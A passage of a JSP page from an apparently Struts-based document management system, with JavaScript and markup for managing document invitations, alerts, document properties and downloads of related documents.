    if(compareDate(document.maintDmsInvitationForm.currentDate, document.maintDmsInvitationForm.dueDate, true) > 0){
      alert('<bean:message key='dms.label.notification_invalid_due_date'/>');
      return false;
    }
    document.getElementById("loading").style.display = "";
    DmsInvitationAjaxProcessor.updateDueDate(complete,invitationID,documentId,dueDate);
  }
  if(flag=="cancel"){
     var cancel = confirm("Are you sure cancel this invitation?");
     if (!cancel){
        return false;
     }
     if(state == "C"){
       alert("This Invitation already Canceled!");
       return false;
     }

     DmsInvitationAjaxProcessor.cancelInvitation(complete,invitationID,documentId);
     invitationID = "";
  }


}

function gotoAdd(frm){
  frm.opMode.value="V";
  frm.submit();
}

function copyInvitation(frm){
  if(invitationID == ""){
    alert("Please Choose a document Invitation!");
    return false;
  }
  frm.invitationID.value = invitationID;
  frm.opMode.value="COPY";
  frm.submit();
}

function complete(content){
  var info = content;
  getResultCallAjax();
  document.getElementById("loading").style.display = "none";

}

function missFocus(obj){
  obj.value = "";
}
   -->
 </script>

<script language="javascript">
<!--
 function hideBlock(b) {
   FindObj(b).style.display = "none";
 }

 function showBlock(b) {
   FindObj(b).style.display = "block";
 }
 function enterTabAction(b) {
 if(b=="InvitationTab"){
   hideWhenNoRecordSelected(true);
   getResultCallAjax();
 }
}

 function clickAll(frm){
  var tmpdocRelationList=<%=DocRelationList.size()%>;
  var tmpdocIndirectRelationList=<%=IndirectRelationDocumentList.size()%>;
  if(frm.allCheck.checked){
    if(tmpdocRelationList>0){
      for(var i=0;i< parseInt(tmpdocRelationList) ;i++){
          if(frm.elements['basicSelectedID_' + i].value!=''){
        frm.elements['basicSelectedID_' + i].checked=true;
          }
      }
    }
    if(tmpdocIndirectRelationList>0){
       for(var i=0;i< parseInt(tmpdocIndirectRelationList) ;i++){
           if(frm.elements['basicSelectedID' + i].value!=''){
        frm.elements['basicSelectedID' + i].checked=true;
           }
      }
    }
  }else{
    if(tmpdocRelationList>0){
      for(var i=0;i< parseInt(tmpdocRelationList) ;i++){
          if(frm.elements['basicSelectedID_' + i].value!=''){
        frm.elements['basicSelectedID_' + i].checked=false;
          }
      }
    }
    if(tmpdocIndirectRelationList>0){
       for(var i=0;i< parseInt(tmpdocIndirectRelationList) ;i++){
           if(frm.elements['basicSelectedID' + i].value!=''){
        frm.elements['basicSelectedID' + i].checked=false;
           }
      }
    }
  }
}

//handle related download
  function DocRelationDownload(frm){
   var docID="";
   var tmpdocRelationList=<%=DocRelationList.size()%>;
   var hasChecked = false;
   var blnNotAllowDownLoadID=false;
   for (var i = 0; i < parseInt(tmpdocRelationList); i++) {
      if (eval("document.maintDmsInvitationForm.basicSelectedID_"+i+".checked") == true) {
        hasChecked = true;
        break;
       }
    }
    if (!hasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
    }

    for(var d=0;d < parseInt(tmpdocRelationList);d++){
     if(frm.elements['basicSelectedID_' + d].checked==true && frm.elements['basicSelectedID_' + d].value!=''){
      if(parseInt(notAllowRelatedDownLoadIDAry.length)>0){
       for(var k=0;k<parseInt(parseInt(notAllowRelatedDownLoadIDAry.length));k++){
        if(parseInt(eval("document.maintDmsInvitationForm.basicSelectedID_"+d+".value"))==notAllowRelatedDownLoadIDAry[k]){
             blnNotAllowDownLoadID = true;
             frm.elements['basicSelectedID_' + d].checked = false;
             break;
           }
         }
       }
   if(blnNotAllowDownLoadID){
     alert("<bean:message key='dms.message.no_right_download_doc'/>");
     return(true);
   }
       if(parseInt(relatedDocIDArray.length)>0){
         for(var k=0;k<parseInt(parseInt(relatedDocIDArray.length));k++){
           if(parseInt(eval("document.maintDmsInvitationForm.basicSelectedID_"+d+".value"))==relatedDocIDArray[k]){
             docID=parseInt(eval("document.maintDmsInvitationForm.basicSelectedID_"+d+".value")) +","+docID;
             break;
           }
         }
       }
      }
    }
    if(!blnNotAllowDownLoadID){
    var idArray = docID.split(",");
    var url = "<%=request.getContextPath()%>/dms/FileZipDownloadServlet?zipFileName=RelatedDocuments";
    for (var i=0; i<idArray.length; i++) {
      if("" !=idArray[i]){
          url += "&selectID="+idArray[i];
      }
    }
    window.location.href=url+"&returnURL="+document.URL+"&singleDocDownload=true&date="+new Date();
      return(false);
    }
  }

  function IndirectRelationDocumentDownload(frm){
   var docID="";
   var tmpdocRelationList=<%=IndirectRelationDocumentList.size()%>;
   var hasChecked = false;
   var blnNotAllowDownLoadID=false;
   for (var i = 0; i < parseInt(tmpdocRelationList) ; i++) {
      if (eval("document.maintDmsInvitationForm.basicSelectedID"+i+".checked") == true) {
        hasChecked = true;
        break;
       }
    }
    if (!hasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
    }

    for(var d=0;d < parseInt(tmpdocRelationList) ;d++){
     if(frm.elements['basicSelectedID' + d].checked==true && frm.elements['basicSelectedID' + d].value!=''){
      if(parseInt(notAllowIndirectRelationDownLoadIDAry.length)>0){
       for(var k=0;k<parseInt(parseInt(notAllowIndirectRelationDownLoadIDAry.length));k++){
        if(parseInt(eval("document.maintDmsInvitationForm.basicSelectedID"+d+".value"))==notAllowIndirectRelationDownLoadIDAry[k]){
             blnNotAllowDownLoadID = true;
             break;
           }
         }
       }
   if(blnNotAllowDownLoadID){
     alert("<bean:message key='dms.message.no_right_download_doc'/>");
     return(true);
   }
       if(parseInt(indirectRelationDocIDArray.length)>0){
         for(var k=0;k<parseInt(parseInt(indirectRelationDocIDArray.length));k++){
           if(parseInt(eval("document.maintDmsInvitationForm.basicSelectedID"+d+".value"))==indirectRelationDocIDArray[k]){
             docID=parseInt(eval("document.maintDmsInvitationForm.basicSelectedID"+d+".value")) +","+docID;
             break;
           }
         }
       }
      }
    }
    if(!blnNotAllowDownLoadID){
    var idArray = docID.split(",");
    var url = "<%=request.getContextPath()%>/dms/FileZipDownloadServlet?zipFileName=RelatedDocuments";
    for (var i=0; i<idArray.length; i++) {
      if("" !=idArray[i]){
          url += "&selectID="+idArray[i];
      }
    }
    window.location.href=url+"&returnURL="+document.URL+"&singleDocDownload=true&date="+new Date();
      return(false);
    }
 }
 function checkSelectAllNone(){
     var frm = document.maintDmsInvitationForm;
     var length = 0;
     for (var i = 0; i < frm.elements.length; i++) {
         if(typeof(frm.elements[i].name) != 'undefined'){
             if (frm.elements[i].name.indexOf("basicSelectedID")>-1 && frm.elements[i].checked && frm.elements[i].value !="") {
                    length++;
             }
         }
     }
     if(length == (<%=DocRelationList.size()%>+<%=IndirectRelationDocumentList.size()%>)){
         frm.allCheck.checked = true;
     }else{
         frm.allCheck.checked = false;
     }
 }
 
 function hideWhenNoInvitation(hide){
 	var itemsToBeHidden = ['invitationHeader','invitationHeaderLine','dataGrid','invitationPager','invitationDetails'];
 	for( var i = 0 ; i < itemsToBeHidden.length ; i ++ ){
	 	var item = document.getElementById(itemsToBeHidden[i]);
	 	item.style.display = hide ? "none" : "";
 	}
 	var item = document.getElementById('noInvitation');
 	item.style.display = hide ? "" : "none";
 }
 
 function hideWhenNoRecordSelected(hide){
 	var itemsToBeHidden = ['detailsOne','detailsTwo','detailsFour'];
 	for( var i = 0 ; i < itemsToBeHidden.length ; i ++ ){
	 	var item = document.getElementById(itemsToBeHidden[i]);
	 	item.style.visibility = hide ? "hidden" : "";
 	}
 	var item = document.getElementById('detailsFive');
 	item.style.display = hide ? "" : "none";
 }
 
 function newAnInvitation(){
 	try{
	 	var popupPaneWidth = GlobalVariable.getWindowAvailWidth() + "px";
	  	var popupPaneHeight = GlobalVariable.getWindowAvailHeight() + "px";
	  	var url = url = "<%=request.getContextPath()%>/dms/MaintDmsInvitationAction.do?actionType=S&documentID=<%=docID%>";
	  	var ni = "<iframe id='ifram1' width='" + popupPaneWidth + "' height='" + popupPaneHeight + "' src='" + url + "' frameborder='0' border='0' marginheight='0' marginwidth='0'></iframe>";
	    parent.frameRemoteDlg.setContent(ni);
    } catch (e) {
    	alert(e);
    }
    return false;
 }
-->
</script>
<html:form action="dms/MaintDmsInvitationAction"  method="POST" styleClass="form-style-2">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="docID"/>
<html:hidden property="invitationID"/>
<html:hidden property="subject" value="<%=subject.toString()%>"/>
<input type='hidden' name='isReload' value='<%=isReload%>' />
<input type='hidden' name='currentDate' value='<%=TextUtility.formatDate(new java.util.Date(),dbDateTimeFormat)%>'>

<div id="loading" style="position:absolute;display:none;">
<table><tr><td>
<img src="<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/IconWhenRefreshing.gif" align="absmiddle" border="0"/>
</td></tr></table>
</div>

<div class="popupPanelTitle">
    <bean:message key="dms.label.document_name_invitee"/>:<dms:documentInfo docObject='<%=(DmsDocument)maintDmsDocumentForm.getFormData()%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>' isOverLib='true'/>
</div>

<layout:tabContainer id="tab1">
    <layout:tabBar>
        <layout:tabPane id="PropertyTab" title="dms.label.invite.tab.properties" onEnterTab="enterTabAction('PropertyTab')" selected='<%=("P".equals(maintDmsInvitationForm.getOpMode()) ? true : false)%>'/>
        <layout:tabPane id="AlertTab" title="dms.label.invite.tab.alerts" onEnterTab="enterTabAction('AlertTab')"/>
        <%if((DmsDocument.DOCUMENT_TYPE.equals(doucmentType) || DmsDocument.COMPOUND_DOC_TYPE.equals(doucmentType) || DmsDocument.EMAIL_DOC_TYPE.equals(doucmentType) || DmsDocument.FORM_DOC_TYPE.equals(doucmentType))&&(GlobalConstant.RECORD_STATUS_ACTIVE.equals(recordStatues))&&(isPersonalRoot||permission.indexOf("V")>=0) && (!DmsVersion.ARCHIVED_STATUS.equals(maintDmsDocumentForm.getItemStatus()))){%>
        <layout:tabPane id="InvitationTab" title="dms.label.invite.tab.invitations" onEnterTab="enterTabAction('InvitationTab')" selected='<%=("P".equals(maintDmsInvitationForm.getOpMode()) ? false : true)%>'/>
<%
        }
%>
    </layout:tabBar>

    <div id="InvitationTab" class="tabContent">
      <table width="100%" cellpadding="0" cellspacing="0">
      	<tr>
      		<td>
      			<div id="noInvitation" style="display: none;"><bean:message key="dms.label.inviteel.no_message"/></div>
      			<div id="invitationHeader" class="sectionTitle"><bean:message key="dms.label.invitee.invitation.title"/></div>
      		</td>
      		<td width="130px"><html:standardButton label="dms.label.invitee.new_invitation" onClick="return newAnInvitation();"/> </td>
      	</tr>
      	<tr><td colspan="2" id="invitationHeaderLine"><div class="sectionLine">&nbsp;</div></td></tr>
      </table>
      <!-- Table Showing Record List Begin -->
      <div id="dataGrid" class="listTable" style="margin-left: 20px;margin-right: 10px;border-bottom: 0px;"></div>
      <!-- Pager Information Begin -->
      <div id="invitationPager" class="listStatusBar" style="margin-right: 10px;margin-left: 20px;border: #BFBFBF 1px solid;border-top: 0px;">
		<div class="statement" id="pageStatement"></div>  
		<div class="sepBar" id="sepBar"></div>
	  </div><br>
      <!--show table record end-->
      <div id="invitationDetails" style="background-color: #FFFFFF;margin-left: 20px;margin-right: 10px;">
      	<table width="100%" cellpadding="0" cellspacing="0" style="border: 0px solid #727272;">
      	  <tr><td height="30" style="border-bottom: 1px solid #727272;">
        	<div class="sectionTitle" style="color: #000000"><bean:message key="dms.label.invitee.detail"/></div>
      	  </td></tr>
      	  <tr id="detailsFive" style="display: none;"><td>
      	  	<br>&nbsp;&nbsp;<bean:message key="dms.label.invitee.see_details"/>
      	  </td></tr>
      	  <tr id="detailsOne"><td>
      	  	<table width="100%" cellpadding="5" cellspacing="0" style="font-size:13px;">
      	  	  <tr>
      	  	  	<td align="right" width="10%" class="normaltext"><bean:message key="dms.label.invite_sentdate"/>:</td>
      	  	  	<td class="normaltext"><span id="sentDateDetail"></span></td>
      	  	  </tr>
      	  	  <tr>
      	  	  	<td align="right" class="normaltext"><bean:message key="dms.label.invitee.due_date"/>:</td>
      	  	  	<td class="normaltext"><span id="dueDateDetail"></span></td>
      	  	  </tr>
      	  	  <tr>
      	  	  	<td align="right" class="normaltext"><bean:message key="dms.label.invitee.subject"/>:</td>
      	  	  	<td class="normaltext"><span id="subjectDetail"></span></td>
      	  	  </tr>
      	  	  <tr>
      	  	  	<td align="right" class="normaltext"><bean:message key="dms.label.invitee.message"/>:</td>
      	  	  	<td class="normaltext"><span id="messageDetail"></span></td>
      	  	  </tr>
      	  	</table>
      	  </td></tr>
      	  <tr id="detailsTwo"><td><br>
      	  	<table cellpadding="2" cellspacing="0" border="0" width="100%">
      	  		<tr>
      	  		  <td id="inviteeTabCount" width="13%" align="center" style="font-weight: bold;"><span id="inviteeCountTitle"></span><span id="inviteeCount" style="display: none;"></span></td>
      	  		  <td id="inviteeTabReaded" width="10%" align="center" style="font-weight: bold;"><span id="inviteeReadedTitle"></span><span id="readedInviteeCount" style="display: none;"></span></td>
      	  		  <td id="inviteeTabUnread" width="10%" align="center" style="font-weight: bold;"><span id="inviteeUnreadTitle"></span><span id="unreadInviteeCount" style="display: none;"></span></td>
      	  		  <td align="right">
      	  		  	<table id="inviteeFigure" cellpadding="0" cellspacing="0"><tr>
      	  		  		<td><div style="width: 10px;height: 10px;background-color: #000000;"></div></td><td>&nbsp;<bean:message key="dms.label.invite.number_of_read.read"/>&nbsp;&nbsp;&nbsp;</td>
      	  		  		<td><div style="width: 10px;height: 10px;background-color: #9f9f9f;"></div></td><td>&nbsp;<bean:message key="dms.label.invite.number_of_read.unread"/></td>
      	  		  	</tr></table>
      	  		  </td>
      	  		</tr>
      	  		<tr><td colspan="4" height="90px" align="center" style="border-top: 1px solid #B9B9B9;">
					<div id="allInvitees" align="left" style="width:95%;height:100%;display: none;"></div>
					<div id="readedInvitees" align="left" style="width:95%;height:100%;display: none;"></div>
					<div id="unreadInvitees" align="left" style="width:95%;height:100%;display: none;"></div>
				</td></tr>
      	  	</table>      	  	
      	  </td></tr>
      	  <tr id="detailsFour"><td style="border-top: 1px solid #727272;background-color: #DDDDDD">
      	  	<table width="100%" cellpadding="3" cellspacing="0">
      	  	  <tr>
      	  	  	<td>
      	  	  		<table width="75%" cellpadding="0" cellspacing="0">
      	  	  			<tr>
      	  	  				<td style="font-size:13px;">Change due date:</td>
      	  	  				<td width="125px" style="padding: 0px"><html:datepicker defaultToday='false' property='dueDate' needReload = 'false' verticalOffset='-220'/></td>
      	  	  				<td width="80px"><html:standardButton label="user.label.update" onClick="return updateCancelCopy('update');"/></td>
      	  	  			</tr>
      	  	  		</table>
      	  	  	</td>
      	  	  	<td width="140px" align="right"><html:standardButton label="dms.label.invitee.copy" onClick="return copyInvitation(maintDmsInvitationForm);"/></td>
      	  	  	<td width="150px" align="left"><html:standardButton label="dms.label.invite.cancel_this.invitation" onClick="return updateCancelCopy('cancel');"/></td>
      	  	  </tr>
      	  	</table>
      	  </td></tr>
      	</table>
	  </div>
    </div>

      <div id="AlertTab" class="tabContent">
        <!-- Alert info display -->
        <table width="100%" cellpadding="0" cellspacing="0">
        <layout:sectionHeader name='<%="dms.label.update_alert_A"%>' mandatory='false'/>
          <tr>
            <td class="formLabelSmall"><bean:message key="dms.label.notification_when"/>:&nbsp;</td>
            <td class="formFieldSmall">
            <%
               if (!Utility.isEmpty(actionTypeAlert)){%>
                <% if (actionTypeAlert.indexOf(UpdateAlert.CREATE_ACTION) >=0) {%>
                  <bean:message key="dms.label.notification_create"/>;&nbsp;
                <%}%>
                <% if (actionTypeAlert.indexOf(UpdateAlert.UPDATE_ACTION) >=0) {%>
                  <bean:message key="dms.label.notification_update"/>;&nbsp;
                <%}%>
                <% if (actionTypeAlert.indexOf(UpdateAlert.VIEW_ACTION) >=0) {%>
                   <bean:message key="dms.label.notification_view"/>;&nbsp;
                <%}%>
                <% if (actionTypeAlert.indexOf(UpdateAlert.DELETE_ACTION) >=0) {%>
                  <bean:message key="dms.label.notification_delete"/>;&nbsp;
                <%}%>
                <% if (actionTypeAlert.indexOf(UpdateAlert.MODIFY_RELATED_DOC) >=0) {%>
                  <bean:message key="dms.label.document_relationship"/>;&nbsp;
                <%}%>
            <%}else{%>
                <%=GlobalConstant.EMPTY_FIELD%>
            <%}%>
            </td>
          </tr>
          <tr>
            <td class="formLabelSmall"><bean:message key="dms.label.notification_type"/>:&nbsp;</td>
            <td class="formFieldSmall">
            <%
               if (!Utility.isEmpty(alertNotificationWays)){%>

                <% if (alertNotificationWays.indexOf(UpdateAlert.EMAIL_NOTIFICATION) >=0) {%>
                  <bean:message key="dms.label.notification_email"/>;&nbsp;
                <%}%>
                <% if (alertNotificationWays.indexOf(UpdateAlert.SYSTEM_NOTIFICATION) >=0) {%>
                <bean:message key="dms.label.notification_system"/>;&nbsp;
                <%}%>
            <%}else{%>
                <%=GlobalConstant.EMPTY_FIELD%>
            <%}%>
            </td>
          </tr>
        </table>
      </div>

    <!-- Basic Tab DIV -->
    <div id="PropertyTab" class="tabContent">
        <table width="100%" cellpadding="0" cellspacing="0">
        <layout:sectionHeader name='dms.label.doc_info_D'/>
        </table>
        <table width="100%" cellpadding="0" cellspacing="0">
        <%  if (DmsDocument.DOCUMENT_LINK.equals(documentType)){
              targetDoc = (DmsDocument)request.getAttribute("targetDoc");
              if (targetDoc!=null) {
                targetDocRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(targetDoc.getRootID());
                targetDocPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, targetDoc.getID());
              }
            }  %>
          <tr>
            <td class="formLabelSmall"><bean:message key='<%="dms.label.doc_type_"+documentType%>'/> <bean:message key="dms.label.document_name"/>:</td>
            <td class="formFieldSmall">
            <div class="div-2-a">
            <dms:documentInfo docObject='<%=(DmsDocument)maintDmsDocumentForm.getFormData()%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>' isOverLib='true' isLimitLength='false' />
            </div>
            <div class="div-2-b">
               <%if(!SystemFunctionConstant.DMS_EMPTY_FILE.equals(sCurFunctionCode)){%>
              <% if ((GlobalConstant.RECORD_STATUS_INACTIVE.equals(maintDmsDocumentForm.getRecordStatus()))||(DmsVersion.ARCHIVED_STATUS.equals(maintDmsDocumentForm.getItemStatus()))){%>
              <html:standardButton label="dms.label.open" disable="true"/>
            <%if(showDownload){%>
              <html:standardButton label="dms.label.download" disable="true"/>
            <%}%>
              <%}else if (DmsDocument.DOCUMENT_LINK.equals(documentType) && targetDoc!=null && (GlobalConstant.RECORD_STATUS_INACTIVE.equals(targetDoc.getRecordStatus()) || DmsVersion.ARCHIVED_STATUS.equals(targetDoc.getItemStatus()))){%>
              <html:standardButton label="dms.label.open" disable="true"/>
            <%if(showDownload){%>
              <html:standardButton label="dms.label.download" disable="true"/>
            <%}%>
              <%}else{%>
                <%if (!Utility.isEmpty(permission) && permission.indexOf("R")>=0){%>
                  <%if(!DmsDocument.PAPER_DOC_TYPE.equals(documentType) && (!DmsDocument.PAPER_DOC_TYPE.equals(targetDoc.getDocumentType())) ){%>
                  <html:standardButton label="dms.label.open" link='<%=contextPath+"/dms/FileDownloadServlet?sCurFunctionCode="+sCurFunctionCode+"&targetID="+maintDmsDocumentForm.getID()+"&documentType="+documentType+"&version="+sVersion+"&updateAlertID="+tmpUpdateAlertID+"&ext=."+sExt%>' target="_blank"/>
                  <%if(showDownload){%>
                    <html:standardButton label="dms.label.download" link='<%=contextPath+"/dms/FileDownloadServlet?sCurFunctionCode="+sCurFunctionCode+"&targetID=${maintDmsDocumentForm.ID}&documentType="+documentType+"&version="+sVersion+"&updateAlertID="+tmpUpdateAlertID+"&isDownload=Y&ext=."+sExt%>'/>
                    <%}%>
                  <%}%>
                  <%if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)){%>
                       <%if(showDownload){%>
                <html:standardButton label="dms.label.downloadall" link='<%=contextPath+"/jsp/dms/ZipCompoundDownload.jsp?sCurFunctionCode="+sCurFunctionCode+"&targetID=${maintDmsDocumentForm.ID}&version="+sVersion+"&isDownload=Y&ext=."+sExt%>'/>
                       <%}%>
                  <%}%>
                <%}else{%>
                  <html:standardButton label="dms.label.open" disable="true"/>
                      <%if(showDownload){%>
                <html:standardButton label="dms.label.download" disable="true"/>
                      <%}%>
                  <%if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)){%>
                <%if(showDownload){%>
                      <html:standardButton label="dms.label.downloadall" disable="true"/>
                <%}%>
                  <%}%>
                 <%}%>
              <%}%>
            <%}%>
          </div>
          </td>
          </tr>
          <tr><td colspan="2" height="25"><div class="sectionLine">　</div></td></tr>
          <tr>
            <td class="formLabelSmall"><bean:message key='dms.label.location'/>:</td>
            <td class="formFieldSmall">
            <dms:locationPath parentID="<%=parentID%>" rootID="<%=rootID%>" permission='<%=permission%>' rootDocument='<%=rootFolder%>' indexFlag='RelatedDocIndexFlag'/>
            </td>
          </tr>
          <%if (SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(sCurFunctionCode) || (DmsDocument.DOCUMENT_LINK.equals(documentType))){%>
          <tr>
          <td>
          <html:hidden property='effectiveStartDate'/>
          <html:hidden property='effectiveEndDate'/>
          </td>
          </tr>
          <%} else {
            %>
          <tr>
            <td class="formLabelSmall"><bean:message key='dms.label.effective_start_date'/>:&nbsp;</td>
            <td class="formFieldSmall">
            <%=TextUtility.formatDate(targetDocument.getEffectiveStartDate(), SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT))%>
            </td>
          </tr>
          <tr>
            <td class="formLabelSmall"><bean:message key='dms.label.effective_end_date'/>:</td>
            <td class="formFieldSmall">
            <%=TextUtility.formatDate(targetDocument.getEffectiveEndDate(), SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT))%>
            </td>
          </tr>
          <%}%>
        <%  if (DmsDocument.DOCUMENT_LINK.equals(documentType) && targetDoc!=null ){%>
              <%
                Integer targetCheckoutPersonID = new Integer("0");
                DmsRoot dmsTargetRoot = docRetrievalManager.getDmsRoot(targetDoc.getRootID());
                boolean isTargetPersonalRoot = (dmsTargetRoot!=null && DmsRoot.PERSONAL_ROOT.equals(dmsTargetRoot.getRootType()));
                if (DmsVersion.EXCLUSIVE_LOCK.equals(targetDoc.getItemStatus())) {
                   checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(((DmsDocument) targetDoc).getCheckoutID());
                   targetCheckoutPersonID = checkoutHistory.getCheckoutPersonID();
                }
                String targetPermission = isTargetPersonalRoot ? "PERSONAL" : permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, targetDoc.getID(), null, null);
              %>
            <tr>
              <td class="formLabelSmall"><bean:message key='dms.label.target_file'/>:&nbsp;</td>
              <td class="formFieldSmall">
              <dms:documentInfo docObject='<%=(DmsDocument)targetDoc%>' recordStatus='<%=targetDoc.getRecordStatus()%>' curFunctionCode='' permission='<%=targetDocPermission%>' rootDocument='<%=targetDocRoot%>' linkFlag='false'/>
              </td>
            </tr>
            <tr>
              <td class="formLabelSmall"><bean:message key='dms.label.target_file_location'/>:&nbsp;</td>
              <td class="formFieldSmall">
              <dms:locationPath parentID="<%=targetDoc.getParentID()%>" rootID="<%=targetDoc.getRootID()%>" permission='<%=targetDocPermission%>' rootDocument='<%=targetDocRoot%>' indexFlag='showIndexFlag'/>
              </td>
            </tr>

            <%}else{         %>
          <tr>
            <td class="formLabelSmall"><bean:message key='common.label.priority'/>:&nbsp;</td>
            <td class="formFieldSmall">
              <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_HIGH%>' textOnly="true"><bean:message key='common.priority.label_3'/></html:radio>
              <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_MEDIUM%>' textOnly="true"><bean:message key='common.priority.label_2'/></html:radio>
              <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_LOW%>' textOnly="true"><bean:message key='common.priority.label_1'/></html:radio>
            </td>
          </tr>
          <tr>
            <td class="formLabelSmall"><bean:message key='dms.label.reference_no'/>:&nbsp;</td>
            <td class="formFieldSmall"><%=maintDmsDocumentForm.getReferenceNo()==null?"-":maintDmsDocumentForm.getReferenceNo()%></td>
          </tr>
          <%}%>
          <tr>
            <td class="formLabelSmall"><bean:message key='dms.label.description'/>:&nbsp;</td>
            <td class="formFieldSmall">
            <% String description = maintDmsDocumentForm.getDescription();
               description = TextUtility.replaceString(description, "\n", "<br>&nbsp;");
               if (!Utility.isEmpty(description)){%>
                  <%=description%>
               <%}else{%>
                    <%=GlobalConstant.EMPTY_FIELD%>
               <%}%>
            </td>
          </tr>
          <dms:commonIndex id='setting' documentBean='maintDmsDocumentForm'>
          <tr>
            <td class="formLabelSmallMan"><dms:commonIndexName/>:&nbsp;</td>
            <td class="formFieldSmall"><dms:commonIndexValue/></td>
          </tr>
          </dms:commonIndex>
          <!-- Common Item End -->

           <!-- UDF for Document -->
          <% if (!Utility.isEmpty(udfDetailList))  {%>
          <tr>
            <td class="formLabelSmall"><bean:message key='dms.label.profile_name'/>:&nbsp;</td>
            <td class="formFieldSmall"><%=maintDmsDocumentForm.getUserDefinedType()%></td>
          </tr>
          <%
                SysUserDefinedIndexDetail udfDetail = null;
                String classType = "formLabelSmall";
                for ( int i=0; i< udfDetailList.size(); i++) {
                  udfDetail = (SysUserDefinedIndexDetail) udfDetailList.get(i);

                  String fieldValue = "";
                  Timestamp realDateValue = null;
                  for (int j=0; j < docDetailList.size(); j++) {
                    if (udfDetail.getID().equals(((DmsDocumentDetail)docDetailList.get(j)).getUserDefinedFieldDetailID())){
                      if (SysUserDefinedIndexDetail.DATE_FIELD.equals(udfDetail.getFieldType())) {
                        fieldValue=TextUtility.formatTimestampToDate(((DmsDocumentDetail) docDetailList.get(j)).getDateValue());
                        realDateValue=((DmsDocumentDetail) docDetailList.get(j)).getDateValue();
                      } else if (SysUserDefinedIndexDetail.NUMBER_FIELD.equals(udfDetail.getFieldType())) {
                        if (((DmsDocumentDetail)docDetailList.get(j)).getNumericValue() !=null ) {
                          fieldValue = ((DmsDocumentDetail)docDetailList.get(j)).getNumericValue().toString();
                        }
                      } else {
                        fieldValue = ((DmsDocumentDetail)docDetailList.get(j)).getFieldValue();
                      }
                      break;
                    }
                  }
                  fieldValue = TextUtility.htmlEncode(fieldValue);%>

          <tr>
            <input type="hidden" name="udfDetailID_<%= udfDetail.getID() %>">
            <input type="hidden" name="udfDetail_FieldType_<%= udfDetail.getFieldType() %>">
            <td class="formLabelSmall"><%=udfDetail.getFieldName()%>:&nbsp;</td>
            <td class="formFieldSmall"><%=fieldValue%></td>
          </tr>
          <%}%>
          <%}%>
          <%if(sCurFunctionCode.equals(SystemFunctionConstant.DMS_PUBLIC_FOLDER)){%>
          <tr>
            <td class="formLabelSmall"><bean:message key="dms.columnheader.item_status"/>:&nbsp;</td>
            <td class="formFieldSmall">
               <dms:documentStatus dmsDocument='<%=dmsDocument%>' target="parent"/>
            </td>
          </tr>
          <%}%>
          <%if (DmsDocument.DOCUMENT_TYPE.equals(documentType)) { %>
          <tr>
            <td class="formLabelSmall"><bean:message key="dms.label.number_of_versions"/>:&nbsp;</td>
            <td class="formFieldSmall"><%=maintDmsDocumentForm.getNoOfVersion()%></td>
          </tr>
          <tr>
            <td class="formLabelSmall"><bean:message key="dms.columnheader.item_size"/>:&nbsp;</td>
          <td class="formFieldSmall">
              <%  int itemSize = ((DmsDocument) dmsDocument).getItemSize().intValue();
                  out.println(TextUtility.formatFileSize(itemSize));
              %>
            </td>
          </tr>
          <%}else if (DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)) {%>
            <td class="formLabelSmall"><bean:message key="dms.columnheader.item_size"/>:&nbsp;</td>
            <td class="formFieldSmall">
              <%  int itemSize = ((DmsDocument) dmsDocument).getItemSize().intValue();
                  out.println(TextUtility.formatFileSize(itemSize));
              %>
            </td>
          <%}%>
        </table>

        <!--Document relationship begin-->
        <% if(!Utility.isEmpty(DocRelationList) || !Utility.isEmpty(IndirectRelationDocumentList)){
           MtmDocumentRelationship  relationshipObj = new MtmDocumentRelationship();
        %>
        <table width="100%" cellpadding="0" cellspacing="0">
        <layout:sectionHeader name='dms.label.related_doc_list' mandatory='false' blackLine='false' />
        </table>
        <layout:listBar>
            <div class="button">
                    <%if(!Utility.isEmpty(DocRelationList)){%>
                        <html:colheaderButton label="dms.label.download_related_document" onClick="return DocRelationDownload(maintDmsInvitationForm)"/>
                     <%}else if(!Utility.isEmpty(IndirectRelationDocumentList)){%>
                        <html:colheaderButton label="dms.label.download_related_document" onClick="return IndirectRelationDocumentDownload(maintDmsInvitationForm)"/>
                     <%}%>
            </div>
            </layout:listBar>
          <div id="dataGrid" class="listTable">
            <table width="100%" cellpadding="0" cellspacing="0">
            <tr>
            <!-- Table Column Header Begin -->
            <th><div class="firstsep"><input type="checkbox" name="allCheck" onClick="return clickAll(maintDmsInvitationForm);" ></div></th>
            <th><div class="sep">　</div></th>
            <th><div class="sep"><bean:message key="dms.label.name_D"/></div></th>
            <th><div class="sep"><bean:message key="dms.columnheader.relationshipType"/></div></th>
            <th><div class="sep"><bean:message key="dms.columnheader.related_doc_name"/></div></th>
            <th><div class="sep"><bean:message key="dms.columnheader.location"/></div></th>
            <th><div class="sep"><bean:message key="common.label.creator"/></div></th>
            <!--Table Column Header End -->
            </tr>
            <%
              for(int j=0;j<DocRelationList.size();j++) {
                relationshipObj = (MtmDocumentRelationship)DocRelationList.get(j);
                DmsDocument relatedDocument = docRetrievalManager.getDocument(relationshipObj.getRelatedDocumentID());
                String relatedPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, relatedDocument.getID());

                if (isInvitation) {
                  if (relatedPermission==null) relatedPermission = "";
                  int idx = 0;
                  if ((idx = relatedPermission.indexOf("r"))!=-1) {
